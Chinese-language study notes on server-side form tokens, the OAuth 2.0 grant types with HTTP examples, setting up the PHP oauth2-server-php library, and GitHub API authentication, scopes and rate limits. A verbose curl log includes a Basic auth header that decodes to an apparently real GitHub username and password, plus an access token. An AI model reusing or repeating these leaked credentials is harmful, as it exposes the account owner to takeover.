服务端方式防止表单重复提交能解决大部分表单重复提交的问题,但也存在一些缺陷。比如针对同一个表单快速重复提交的情况并不能准确保证只有一个请求被正常处理;session中存放token只能针对一个表单,如果用户在同一个会话里同时打开多个form表单,则只能正确处理最后一个打开的form页面(可采用在数据库中保存处理过的token替换remove的方式,但该方式性能较差,不推荐采用)。 1.客户端申请token 2.服务器端生成token,并存放在session中,同时将token发送到客户端 3.客户端存储token,在请求提交时同时发送token信息 4.服务器端统一拦截同一个用户的所有请求,验证当前请求是否需要被验证(不是所有请求都验证重复提交) 5.验证session中token是否和用户请求中的token一致,如果一致则放行 6.session清除会话中的token,为下一次的token生成作准备 7.并发重复请求到来,验证token和请求token不一致,请求被拒绝session方法PHP使用token验证可有效的防止非法来源数据提交访问,增加数据操作的安全性
tp custom token
OAuth开放式授权 oauth2-server-php
Oauth2.0是一个开源的授权协议,在全世界得到广泛应用,比较大的社交服务都支持了Oauth2.0协议,例如QQ、微博、微信 OAuth2.0是OAuth协议的下一版本,但不向后兼容OAuth 1.0即完全废止了OAuth1.0。OAuth2.0关注客户端开发者的简易性。要么通过组织在资源拥有者和HTTP服务商之间的被批准的交互动作代表用户,要么允许第三方应用代表用户获得访问的权限。同时为Web应用桌面应用和手机和起居室设备提供专门的认证流程。 OAuth的作用 让客户端安全可控地获取用户的授权,与服务商提供商进行互动 应用场景 Oauth2最多的应用场景应该就是微博、微信、QQ、github、facebook、手机app登录,最常见的是第三方登录、一键登录、一键分享,主要就是依靠其庞大的用户群体,借助Oauth2实现的就是提供数据源,开放平台的官网都提供了如何接入第三方登录的文档 【 Oauth2协议的使用场景 】 场景一 有一个"云冲印"的网站,可以将用户储存在Google的照片冲印出来。用户为了使用该服务必须让云冲印读取自己储存在Google上的照片 问题是只有得到用户的授权,Google才会同意云冲印读取这些照片。那么"云冲印"怎样获得用户的授权呢? 场景二 假设有一个叫"教程集"的网站,可以通过读取用户在微信里的好友关系查询到还有谁也在学习教程,用户想使用该服务,就必须让"教程集"读取自己在微信里的好友关系。微信只有得到用户的授权才会允许"教程集"读取用户的好友关系,这时候传统的方式是,用户将微信帐号密码提交给"教程集","教程集"使用用户的帐号密码登录微信,再获取到用户的好友关系。 但这样的做法有几个缺点: 为了后续用户不需要再次输入微信帐号密码,"教程集"不得不保存用户的微信帐号密码; 假设用户想收回对"教程集"的授权,只能修改密码,但同时会使其他获得了用户授权的第三方程序全部失效; 用户无法控制"教程集"的权限范围和有效时间,用户将微信帐号密码都提交给"教程集","教程集"获得了几乎所有权限。 假设"教程集"被破解,所有用户的微信帐号密码同时泄露 场景三 如果用户的照片在A网站,想要在B网站使用A网站的头像,并不需要向B网站提供自己在A网站的用户名和密码,而直接给B一个Access Token来获取A站的照片 具体流程如下: 1)用户访问网站B 2)B需要验证用户的身份 3)B将用户定向到A网站,用户输入帐号密码登录A网站 4)A网站询问是否要将Authentication的权利给B网站 5)用户告诉A站可以将认证权给B站 6)A网站把Authorization Code发给B站 7)B站用Autorization Code向A站换取Access Token 8)当B站拥有Access Token时就拥有了用户在A站的一些访问权限 这是典型的Authorization Code Grant,常用于网络应用之中 【 Oauth2协议的几个专业术语 】 1、Third-party application: 第三方应用程序,又称客户端client,即上例中的"教程集"和"云冲印"; 2、HTTP service : HTTP服务提供商即服务提供商,即上例中的"微信"和"的Google"; 3、Resource Owner: 资源所有者即上例中的"用户user"; 4、User Agent: 用户代理,即"浏览器"; 5、Authorized server: 认证服务器,即服务提供商提供的专门用来做用户认证的服务器,在上面的例子中属于微信服务的一部分; 6、Resource server: 资源服务器,即服务提供商提供的用户存放用户资源的服务器,与认证服务器可以是同一台服务器也可以是不同的服务器,在上面的例子中可以视为是一个查询用户好友关系的接口 【 OAuth的思路 】 OAuth在客户端与服务提供商之间,设置了一个授权层(authorization layer)。客户端不能直接登录服务提供商,只能登录授权层,以此将用户与客户端区分开来。 客户端登录授权层所用的令牌(token)与用户的密码不同,用户可以在登录的时候指定授权层令牌的权限范围和有效期。 客户端登录授权层以后,服务提供商根据令牌的权限范围和有效期,向客户端开放用户储存的资料 OAuth 2.0将分为两个角色: Authorization server负责获取用户的授权并且发布token; Resource负责处理API calls 【 Oauth2运行的一般流程 】 (A)用户打开第三方应用客户端以后,客户端要求用户给予授权。 (B)用户同意给予客户端授权,并返回一个凭证code。 (C)客户端使用上一步获得的授权code,向认证服务器申请令牌access token。 (D)认证服务器对客户端发来的授权码进行认证,确认无误以后,同意向客户端发放令牌。 (E)客户端使用令牌,向资源服务器申请获取相关资源。 (F)资源服务器确认令牌无误,同意向客户端开放资源,将第三方应用请求的资源返回。 用户凭证(code)具有三个特性: 1、用户凭证(code)需要由用户授权,即该行为是用户的主动行为,此时为了保证用户身份正确,实际上也需要用户通过授权服务器的验证(登录操作或已登录状态) 2、用户凭证(code)需要授权服务器颁发,因为最终用户凭证(code)是由授权服务器验证的,同时用户授权操作为了保证用户身份,也需要在授权服务器上进行操作,因此,用户凭证(code)是由授权服务器进行颁发的 3、用户凭证(code)需要由授权服务器传递给第三方应用,由用户在资源服务器上拿到凭证再手动的提交至第三方应用太麻烦,因此当用户主动授权行为发生后,资源服务器需要将用户凭证(code)发送给第三方应用 【 存储 】 该库支持多个不同存储引擎的适配器,其中包括PDO(用于MySQL,SQLite,PostgreSQL等)、MongoDB、Redis和Cassandra。 这是通过多个PHP接口完成的,这个接口决定了如何存储不同的对象。接口允许对多个平台进行扩展和定制,使得编写自己的存储类容易 存储接口还可以轻松地将对象存储在多个数据存储系统中
客户端的授权模式
客户端必须得到用户的授权(authorization grant)才能获得令牌(access token)。OAuth 2.0定义了四种授权方式
授权码模式(authorization code)
简化模式(implicit)
密码模式(resource owner password credentials)
客户端模式(client credentials)
【 授权码模式(authorization code) 】
最常用的、功能最完整、流程最严密的授权模式,目前微博、微信、QQ 等都是用的这种授权方式
特点是通过客户端的后台服务器与服务提供商的认证服务器进行互动
一个临时令牌对应一个特定的第三方网站,同时该令牌只能在特定的时间内访问特定的���源
主要流程:
A、用户主动访问客户端,客户端引导用户进行授权(快速登录),客户端将用户导向(一般是302跳转)认证服务器。
B、认证服务器判断用户是否已登录,如果没有登录则在认证服务器提供的登录界面进行登录,登录之后用户选择是否给予客户端授权,认证服务器一般会提供授权界面,授权服务器会告诉用户第三方在授权服务器中提交的相关信息,用户可以选择开放哪些资源给客户端,最基础的认证可以访问用户的公共信息
C、用户给予授权,认证服务器将用户导向客户端事先指定的重定向URI(redirection URI),同时在redirect_uri上附上一个授权码code
D、客户端收到授权码,附上早先的重定向URI,向认证服务器申请令牌。此时用户主动行为结束,这一步是在客户端的后台服务器上完成的,对用户不可见。浏览器端行为结束,接下来的流程已经不需要和用户进行交互,接下来的行为都在第三方应用与授权服务器、资源服务器之间的交互;浏览器端的行为实际上是不安全的,甚至安全凭证的传递都是通过URL直接传递的。但用户凭证(code)不是那么敏感,其他攻击者拿到用户凭证(code)后依然无法获取到相应的用户资源,所以之前的行为是允许的
E、认证服务器核对了授权码和重定向URI,确认无误后向客户端发送访问令牌(access token)和更新令牌(refresh token)。
F、客户端使用access_token向资源服务器访问获取用户相关资源,资源服务器会提供一系列关于用户资源的API,拿Access Token访问相应的API即可,此时的访问不是通过浏览器进行的,而是服务器直接发送HTTP请求,因此其安全性是可以保证的
G、返回资源
如果Access Token是正确的,此时资源服务器就会返回资源信息,此时整个OAuth流程就结束了
client_id是由授权服务器如Github在第三方应用提交时颁发给第三方应用,client_secret是第三方应用和授权服务器之间的安全凭证
A步骤中客户端申请认证的URI包含以下参数:
response_type 表示授权类型,必选项,此处的值固定为"code"
client_id 表示客户端的ID,必选项,
redirect_uri 表示重定向URI,可选项
scope 表示申请的权限范围、授权范围,可选项
state 表示客户端的当前状态,可以指定任意值,由第三方应用给出的随机码,认证服务器会原样返回这个值,可选项
例子
testclient
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
Host: server.example.com
C步骤中认证服务器回应客户端的URI包含以下参数:
code: 表示授权码,必选项。该码的有效期应该很短,通常设为10分钟,客户端只能使用该码一次,否则会被授权服务器拒绝。该码与客户端ID和重定向URI是一一对应关系。
state: 如果客户端的请求中包含这个参数,认证服务器的回应也必须同样包含这个参数。
例子
HTTP/1.1 302 Found
Location: https://client.example.com/cb?code=4e23e28c4f262a18b87be2c02be6a87186564859&state=xyz
D步骤中客户端向认证服务器申请令牌的HTTP请求,包含以下参数:
grant_type 表示使用的授权模式,必选项,此处的值固定为"authorization_code"。
code 表示上一步获得的授权码,必选项。
redirect_uri 表示重定向URI,必选项,且必须与A步骤中的该参数值保持一致。
client_id 表示客户端ID,必选项。
涉及到第三方应用的安全凭证client_secret,因此要求OAuth要求该请求必须是POST请求,同时还必须时HTTPS服务,以此保证获取到的临时令牌Access Token的安全性
例子
POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=4e23e28c4f262a18b87be2c02be6a87186564859&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb
E步骤中认证服务器发送的HTTP回复包含以下参数:
access_token 表示访问令牌,必选项。
token_type 表示令牌类型,该值大小写不敏感,必选项,可以是bearer类型或mac类型。
expires_in 表示过期时间,单位为秒。如果省略该参数,必须其他方式设置过期时间。
refresh_token 表示更新令牌,用来获取下一次的访问令牌,可选项。
scope 表示权限范围,如果与客户端申请的范围一致,此项可省略。
相关参数使用JSON格式发送(Content-Type: application/json),此外HTTP头信息中明确指定此接口不得缓存
例子
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache
{
"access_token":"2YotnFZFEjr1zCsicMWpAA",
"token_type":"example",
"expires_in":3600,
"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
"example_parameter":"example_value"
}
【 简化模式(implicit grant type) 】
不通过第三方应用程序的服务器,直接在浏览器中向认证服务器申请令牌,跳过了"授权码"这个步骤(省去了Auth Code),开放平台直接返回access_token和有效期,用户ID等数据,因此得名。所有步骤在浏览器中完成,令牌对访问者是可见的,且客户端不需要认证
这种经常运用于手机客户端或浏览器插件等没有在线服务器的应用
(A)客户端将用户导向认证服务器。
(B)用户决定是否给于客户端授权。
(C)假设用户给予授权,认证服务器将用户导向客户端指定的重定向URI,并在URI的Hash部分包含了访问令牌。
(D)浏览器向资源服务器发出请求,其中不包括上一步收到的Hash值。
(E)资源服务器返回一个网页,其中包含的代码可以获取Hash值中的令牌。
(F)浏览器执行上一步获得的脚本,提取出令牌。
(G)浏览器将令牌发给客户端。
A步骤中客户端发出的HTTP请求,包含以下参数:
response_type: 表示授权类型,此处的值固定为"token",必选项。
client_id: 表示客户端的ID,必选项。
redirect_uri: 表示重定向的URI,可选项。
scope: 表示权限范围,可选项。
state: 表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
例子
GET /authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
Host: server.example.com
C步骤中认证服务器回应客户端的URI包含以下参数:
access_token: 表示访问令牌,必选项。
token_type: 表示令牌类型,该值大小写不敏感,必选项。
expires_in: 表示过期时间,单位为秒。如果省略该参数,必须其他方式设置过期时间。
scope: 表示权限范围,如果与客户端申请的范围一致,此项可省略。
state: 如果客户端的请求中包含这个参数,认证服务器的回应也必须一模一样包含这个参数。
例子
HTTP/1.1 302 Found
Location: http://example.com/cb#access_token=2YotnFZFEjr1zCsicMWpAA&state=xyz&token_type=example&expires_in=3600
在上面的例子中,认证服务器用HTTP头信息的Location栏,指定浏览器重定向的网址。注意,在这个网址的Hash部分包含了令牌。
根据上面的D步骤,下一步浏览器会访问Location指定的网址,但是Hash部分不会发送
接下来的E步骤,服务提供商的资源服务器发送过来的代码会提取出Hash中的令牌
【 密码模式(Resource Owner Password Credentials Grant) 】
密码模式中用户向应用的客户端提供自己的用户名和密码,客户端使用这些信息向服务商提供商索要授权(由应用XAuth技术将其提交给开放平台并得到Access Token)。
在这种模式中,用户必须把自己的密码给客户端,但是客户端不得储存密码。这通常用在用户对客户端高度信任的情况下,比如客户端是操作系统的一部分,或由一个著名公司出品。而认证服务器只有在其他授权模式无法执行的情况下才能考虑使用这种模式。
该模式经常用于PC可执行程序和手机应用,但由于存在一些争议,开发难度也较大
(A)用户向客户端提供用户名和密码。
(B)客户端将用户名和密码发给认证服务器,向后者请求令牌。
(C)认证服务器确认无误后,向客户端提供访问令牌
B步骤中,客户端发出的HTTP请求,包含以下参数:
grant_type: 表示授权类型,此处的值固定为"password",必选项。
username: 表示用户名,必选项。
password: 表示用户的密码,必选项。
scope: 表示权限范围,可选项。
例子
POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded
grant_type=password&username=johndoe&password=A3ddj3w
C步骤中认证服务器向客户端发送访问令牌,例子
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache
{
"access_token":"2YotnFZFEjr1zCsicMWpAA",
"token_type":"example",
"expires_in":3600,
"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
"example_parameter":"example_value"
}
【 客户端模式(Client Credentials Grant) 】
指客户端以自己的名义,而不是以用户的名义,向服务提供商进行认证。严格地说,客户端模式并不属于OAuth框架所要解决的问题。在这种模式中,用户直接向客户端注册,客户端以自己的名义要求服务提供商提供服务,其实不存在授权问题。
(A)客户端向认证服务器进行身份认证,并要求一个访问令牌。
(B)认证服务器确认无误后,向客户端提供访问令牌。
A步骤中客户端发出的HTTP请求包含以下参数:
granttype: 表示授权类型,此处的值固定为"clientcredentials",必选项。
scope: 表示权限范围,可选项。
认证服务器必须以某种方式,验证客户端身份。
POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials
B步骤中认证服务器向客户端发送访问令牌,例子
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache
{
"access_token":"2YotnFZFEjr1zCsicMWpAA",
"token_type":"example",
"expires_in":3600,
"example_parameter":"example_value"
}
【 更新令牌 】
如果用户访问的时候,客户端的"访问令牌"已经过期,则需要使用更新令牌申请一个新的访问令牌。
客户端发出更新令牌的HTTP请求,包含以下参数:
granttype 表示使用的授权模式,此处的值固定为"refreshtoken",必选项。
refresh_token 表示早前收到的更新令牌,必选项。
scope 表示申请的授权范围,不可以超出上一次申请的范围,如果省略该参数则表示与上一次一致
例子
POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded
grant_type=refresh_token&refresh_token=tGzv3JOkF0XG5Qx2TlKWIA
PHP实现Oauth2.0授权码模式
为了方便的在项目中集成Oauth2,可以使用一个第三方类库来实现oauth2-server-php 创建数据库my_oauth2_db,下载sql文件并导入数据库中,自定义位置为: OAuth2/Storage/Pdo.php 48行的config数组中
PHP实现Oauth2.0授权码模式
E:\wamp64\www\study\php\oauth2-demo\example\ //下面有两个目录分别为client和server对应客户端和服务端 git clone git@github.com:shanhuhai/oauth2-demo.git // 克隆测试代码到本地,代码分为客户端、服务端两个部分 cd oauth2-demo && composer install 将这两个目录在nginx分别绑定oauth2-client.dev和oauth2-server.dev域名 E:\wamp64\bin\php\php5.6.16>start /b php-cgi.exe -b 127.0.0.1:9000 -c php.ini E:\wnmp\nginx>start /b nginx -c wamp.conf 1、安装oauth2-server-php mkdir my-oauth2-walkthrough cd my-oauth2-walkthrough git clone https://github.com/bshaffer/oauth2-server-php.git -b master 2、配置数据库my_oauth2_db 3、建立server.php文件来配置server,这个文件可以被所有的终端来调用
4、建立Token控制器token.php返回OAuth2的Token给客户端
5、客户端模式测试Token控制器
cmd> curl -u testclient:testpass http://localhost:8880/token.php -d grant_type=client_credentials #不用引号
{"access_token":"31e5e68481d99ba7ca87b53dd9443cea495b6eb0","expires_in":3600,"token_type":"Bearer","scope":null}
6、资源控制器resource.php的建立
7、测试资源控制器,创建了Token需要在API中测试它
curl http://localhost:8880/resource.php -d access_token=YOUR_TOKEN # 第五步获取的token
{"success":true,"message":"You accessed my APIs!"}
8、认证控制器authorize.php的创建
9、授权码模式进行认证控制器测试,请在30秒内完成这个操作,因为Authorization Code的有效期只有30秒
可以修改OAuth2/ResponseType/AuthorizationCode.php中的AuthorizationCode class的构造方法配置参数来自定义authorization_code有效时间
access_token有效期为3600s,refresh_token有效期为1209600s,可以在OAuth2/ResponseType/AccessToken.php中的AccessToken class中的构造函数配置中进行修改
浏览器> http://localhost:8880/authorize.php?response_type=code&client_id=testclient&state=xyz
SUCCESS! Authorization Code: 4e23e28c4f262a18b87be2c02be6a87186564859
cmd> curl -u testclient:testpass http://localhost:8880/token.php -d "grant_type=authorization_code&code=4e23e28c4f262a18b87be2c02be6a87186564859" #双引号
{"access_token":"10ebe5cfa2c69ec914044f381fbab94ba7af7972","expires_in":3600,"token_type":"Bearer","scope":null,"refresh_token":"25948737c39e9a387b4cd0efebbcf87fbef15193"}
可修改OAuth2/GrantType/RefreshToken.php中的RefreshToken class __construct方法中的'always_issue_new_refresh_token' => true来开启颁发新的refresh_token
使用refresh_token换取access_token:
首先刷新令牌必须使用授权码或资源所有者密码凭证许可类型检索:
curl -u testclient:testpass http:://localhost/token.php -d 'grant_type=refresh_token&refresh_token=YOUR_REFRESH_TOKEN'
资源所有者密码凭证许可:
user表设计使用sha1摘要方式,没有添加salt
在Pdo.php中有protected function checkPassword($user,$password)
curl -u testclient:testpass http://localhost/token.php -d 'grant_type=password&username=rereadyou&password=rereadyou'
10、用Access Token联系本地用户
当认证了一个用户并且分派了一个Token之后,如果想知道彼时到底是哪个用户使用了这个Token,可以使用handleAuthorizeRequest的可选参数user_id来完成
修改authorize.php文件,使用户ID就伴随Token一起存进数据库
$userid = 1234; // A value on your server that identifies the user
$server->handleAuthorizeRequest($request,$response,$is_authorized,$userid);
当Token被客户端使用的时候就知道是哪个用户了,修改resource.php来完成任务
if(!$server->verifyResourceRequest(OAuth2\Request::createFromGlobals())) {
$server->getResponse()->send();
die;
}
$token = $server->getAccessTokenData(OAuth2\Request::createFromGlobals());
echo "User ID associated with this token is {$token['user_id']}";
scope需要服务端确定具体的可行操作
curl -u testclient:testpass http://localhost/token.php -d 'grant_type=client_credentials&scope=postonwall'
scope用来确定client所能进行的操作权限。项目中操作权限由srbac进行控制,Oauth2中暂不做处理
// include our OAuth2 Server object
require_once __DIR__ . '/server.php';
$request = OAuth2\Request::createFromGlobals();
$response = new OAuth2\Response();
$scopeRequired = 'postonwall'; // this resource requires "postonwall" scope
if (!$server->verifyResourceRequest($request,$response,$scopeRequired)) {
// if the scope required is different from what the token allows,this will send a "401 insufficient_scope" error
$server->getResponse()->send();
die;
}
echo json_encode(array('success' => true,'message' => 'You accessed my APIs!'));
state为client app在第一步骤中获取authorization code时向OAuth2 Server传递并由OAuth2 Server返回的随机哈希参数。state参数主要用来防止跨站点请求伪造
如果对整个调用请求中的参数进行排序,再以随机字符串nonce_str和timestamp加上排序后的参数来对整个调用生成1个sign,黑客即使截获sign,不同的时间点、参数请求所使用的sign也是不同的,难以伪造,自然会更安全。当然,写起来也更费事。加入随机字符串nonce_str主要保证签名不可预测
$sign = new SignGenerator($params);
$sign->onSortAfter(function($that) use($key) {
$that->key = $key;
});
$params['sign'] = $sign->getResult();
github restfulapi oauth
GitHub API每个响应中都有三个用于指明API频率限制的首部,X-RateLimit-Limit、X-RateLimit-Remaining和X-RateLimit-Reset 从GitHub API中获取文本或blob内容时要用到X-GitHub-Media-Type首部中包含的信息 向GitHub API发起请求时可以在请求中发送Accept首部,指明想使用的格式 向GitHub API发起请求时,有两种身份验证方式: 用户名和密码(HTTP基本验证)以及OAuth令牌
用户名和密码验证
提供用户名和密码后可以访问GitHub中受保护的内容,HTTP基本验证就是用户名和密码验证,在cURL中使用-u标志指定 $ curl -u xrd https://api.github.com/rate_limit 用户名验证的优点 几乎所有客户端库都支持HTTP基本验证,GitHub API客户端都支持用户名和密码验证 用户名验证的缺点 使用用户名和密码验证管理GitHub API的访问权限不合适,原因有如下几个。 1、HTTP基本验证是旧协议,通过用户名和密码验证用户的身份则无法指定让Web服务开放哪些特定的功能。 2、如果使用用户名和密码在手机端访问GitHub API的内容,又在笔记本电脑中访问API的内容,那就无法禁止某一台设备访问,只能都禁止。 3、HTTP基本验证无法扩展验证流程。现今很多现代服务都支持双重身份验证,为了把这种验证方式插入现有的验证过程,需要修改HTTP客户端(例如Web浏览器),至少也要修改客户端预期的流程(让浏览器重复请求)。 这些问题在OAuth流程中都能得到解决(或至少得到支持)。鉴于这些缺点,仅当便利性至上时才应当使用用户名和密码验证身份
OAuth
OAuth是一种身份验证机制,把令牌与功能或客户端绑定起来,可以指定让服务为OAuth令牌开放哪些功能,还可以颁发多个令牌与不同的客户端绑定,例如手机应用、笔记本电脑、智能手表,甚至是接入物联网的烤箱。更重要的是可以吊销令牌而不对其他令牌产生影响。
OAuth令牌主要的缺点是增加了一层复杂度
OAuth可以把令牌限定在作用域(指定Web服务的功能子集)中,以及按需为不同的客户端生成不同的令牌。
【 作用域: 指定验证令牌可执行的操作 】
生成OAuth令牌时要指定所需的访问权限
cURL命令使用HTTP基本验证请求创建令牌,一旦得到令牌后续请求就不再需要使用HTTP基本验证,获颁OAuth令牌之后便有权限读写相应用户的公开仓库,请求成功后获得的JSON响应中有个令牌,把它提取出来之后可以提供给应用访问GitHub API
$ curl -v -u berlin75 -d '{"scopes":["public_repo"],"note":"admin script"}' https://api.github.com/authorizations
Enter host password for user 'berlin75':
* Trying 13.250.168.23...
* TCP_NODELAY set
* Connected to api.github.com (13.250.168.23) port 443 (#0)
* ALPN,offering h2
* ALPN,offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/ssl/certs/ca-certificates.crt
CApath: /etc/ssl/certs
* TLSv1.2 (OUT),TLS handshake,Client hello (1):
* TLSv1.2 (IN),TLS handshake,Server hello (2):
* TLSv1.2 (IN),TLS handshake,Certificate (11):
* TLSv1.2 (IN),TLS handshake,Server key exchange (12):
* TLSv1.2 (IN),TLS handshake,Server finished (14):
* TLSv1.2 (OUT),TLS handshake,Client key exchange (16):
* TLSv1.2 (OUT),TLS change cipher,Client hello (1):
* TLSv1.2 (OUT),TLS handshake,Finished (20):
* TLSv1.2 (IN),TLS handshake,Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN,server accepted to use http/1.1
* Server certificate:
* subject: C=US; ST=California; L=San Francisco; O=GitHub,Inc.; CN=*.github.com
* start date: Jun 19 00:00:00 2018 GMT
* expire date: Jul 10 12:00:00 2019 GMT
* subjectAltName: host "api.github.com" matched cert's "*.github.com"
* issuer: C=US; O=DigiCert Inc; OU=www.digicert.com; CN=DigiCert SHA2 High Assurance Server CA
* SSL certificate verify ok.
* Server auth using Basic with user 'berlin75'
> POST /authorizations HTTP/1.1
> Host: api.github.com
> Authorization: Basic YmVybGluNzU6Z2l0aHViNjk1OA==
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 48 out of 48 bytes
< HTTP/1.1 201 Created
< Date: Tue,14 Aug 2018 23:52:19 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 595
< Server: GitHub.com
< Status: 201 Created
< X-RateLimit-Limit: 5000
< X-RateLimit-Remaining: 4998
< X-RateLimit-Reset: 1534294293
< Cache-Control: private,max-age=60,s-maxage=60
< Vary: Accept,Authorization,Cookie,X-GitHub-OTP
< ETag: "36d9cc3fc32ae1b321fd6ac4e1ddc240"
< Location: https://api.github.com/authorizations/211442402
< X-GitHub-Media-Type: github.v3; format=json
< Access-Control-Expose-Headers: ETag,Link,Retry-After,X-GitHub-OTP,X-RateLimit-Limit,X-RateLimit-Remaining,X-RateLimit-Reset,X-OAuth-Scopes,X-Accepted-OAuth-Scopes,X-Poll-Interval
< Access-Control-Allow-Origin: *
< Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
< X-Frame-Options: deny
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: origin-when-cross-origin,strict-origin-when-cross-origin
< Content-Security-Policy: default-src 'none'
< X-Runtime-rack: 0.101048
< Vary: Accept-Encoding
< X-GitHub-Request-Id: A7D8:07D7:3490A3:429C1D:5B736B32
<
{
"id": 211442402,
"url": "https://api.github.com/authorizations/211442402",
"app": {
"name": "admin script",
"url": "https://developer.github.com/v3/oauth_authorizations/",
"client_id": "00000000000000000000"
},
"token": "3bcdb3a9d8b904aa7e3d86d8b1da27e82beb689d",
"hashed_token": "2e94bed4c97694d6f16a6451b3356a7b639eadab3395e410ddf7466f58dd9582",
"token_last_eight": "2beb689d",
"note": "admin script",
"note_url": null,
"created_at": "2018-08-14T23:52:19Z",
"updated_at": "2018-08-14T23:52:19Z",
"scopes": [
"public_repo"
],
"fingerprint": null
}
* Connection #0 to host api.github.com left intact
令牌的用法:在Authorization首部中指定令牌
curl -H "Authorization: token 3bcdb3a9d8b904aa7e3d86d8b1da27e82beb689d" https://api.github.com/authorizations
curl -u berlin75 https://api.github.com/authorizations
作用域明确了服务或应用能如何使用GitHub API中的数据。
对于供用户自己使用的令牌来说,作用域便于稽查用户如何使用API提供的信息
当第三方应用想访问你的信息时,最能体现作用域明确访问权限的重要价值和防护作用,因为你能确保应用只能访问允许它访问的数据,而且便于取消访问权限
作用域的不足
作用域有个极大的不足之处: 无法精细调整特定仓库的访问权限。如果允许访问任何一个私有仓库,那么所有仓库就都能访问。
OAuth机制的好处是,发生变化后只需请求重新设定作用域的令牌,应用的身份验证流程则无需修改。
构建服务或应用时,要特别谨慎地对待请求的作用域。用户会担忧交给你的数据是否安全(这是正常的),他们会根据请求的作用域评估能否信任应用。如果用户觉得不需要那么广的作用域,请求授权时一定要从提供给 GitHub 的权限列表中删除,与用户建立一定的信任之后再考虑升级为更广的作用域。
逐步升级作用域
你可以先请求严格受限的作用域,以后再请求更广的作用域。例如用户首次访问你的应用时可以只获取user作用域,在你的服务中创建用户对象,仅当应用需要获取用户的仓库信息时再请求升级权限。此时用户需要接受或拒绝升级请求。在与用户建立关系之前什么都询问,往往会导致用户放弃登录
GitHub OAuth2 验证身份的流程如下:
(1) 应用请求访问;
(2) 服务提供方(GitHub)请求验证身份,通常使用用户名和密码;
(3) 如果启用了双重身份验证,询问 OTP(one-time password,一次性密码);
(4) GitHub 返回包含令牌的 JSON 响应;
(5) 应用使用 OAuth 令牌请求 API。
【 GitHub API在通信过程中用于提供反馈的各个HTTP状态码 】
成功(200或201)
请求的目标地址和相关的参数正确时GitHub响应的状态码是200。
如果请求在服务器中创建内容,响应的状态码是201,表示成功在服务器中创建了内容。
$ curl -s -i https://api.github.com | grep Status
成功创建(201 Created)
$ curl -i -u xrd -d '{"description":"A","public":true,"files":{"a.txt":{"content":"B"}}} https://api.github.com/gists #成功创建了一个Gist
不合规的JSON(400 Bad Request)
如果载荷(使用-d开关发送,请求中发送的JSON)无效,GitHub API的响应是400错误
$ curl -i -u xrd -d 'yaml: true' -X POST https://api.github.com/gists # 使用的不是JSON
GitHub在返回的JSON响应中使用documentation_url键提供了一个地址查看在哪里寻找正确格式的文档
错误的JSON(422 Unprocessable Entity)
如果请求中JSON是有效的但有任何无效的字段GitHub会响应422错误,在响应的message字段中会什么错误原因
$ curl -i -u chris@burningon.com -d '{ "a" : "b" }' -X POST
完全没变化(304)
304与200的作用类似: 告诉客户端请求成功,304多提供了一些信息,告诉客户端自上次请求以来数据没有变化
【 频率限制 】
GitHub会设法限制用户请求API的频率。
匿名请求(没有使用用户名和密码或OAuth令牌验证身份的请求)的限制60次/小时,如果开发一个与GitHub API集成的系统代表用户执行操作,一小时60次请求显然不够用。
验证身份后向GitHub API发起请求的频率会增加到每小时5000次,若想使用你自己的GitHub凭据代表很多用户发起请求,仍然有问题。
鉴于此,如果网站或服务使用GitHub API请求GitHub API中的信息,应该考虑使用OAuth,并且使用用户共享的身份验证信息请求GitHub API。如果使用其他用户的GitHub账户的令牌,那么频率限制算在该用户身上,而不是算在你的账户上。
频率限制有两种: 核心频率限制和搜索频率限制。
对搜索来说,验证身份的用户每分钟不能发起超过20个请求,匿名用户每分钟不能超过5个请求
GitHub按IP地址记录匿名请求,因此如果你身处防火墙后面,还有其他用户发起匿名请求,那么所有这些请求会算在一起。
获知频率限制的方法很简单,向 /rate_limit 发起 GET 请求即可。返回的JSON文档中有要遵守的频率限制、剩余的请求数和时间戳(1970 年之后的秒数)
对/rate_limit的请求算在频率限制内,频率限制在24小时后重置
使用条件请求头部请求规避频率限制
如果请求GitHub API的目的是获悉一个用户或一个仓库的活动数据,很有可能不会返回太多数据。如果每隔几分钟检查有没有新活动,在一段时间内可能没有任何活动。这种持久轮询虽然有时不传送新活动,但是仍然消耗着请求的频率限制。
此时可以发送If-Modified-Since和If-None-Match两个HTTP条件首部,让GitHub返回表示什么都没变的HTTP 304响应码。如果发送的请求包含条件首部,而且GitHub API返回HTTP 304响应码,这样的请求不会从频率限制中扣除
$ curl -i https://api.github.com/repos/twbs/bootstrap -H "If-Modified-Since: Sun,11 Aug 2013 19:48:59 GMT"
GitHub API也能理解HTTP缓存标签。ETag(Entity Tag)是一个HTTP首部,用于确定之前缓存的内容是否为最新版
系统可能会像下面这样使用ETag:
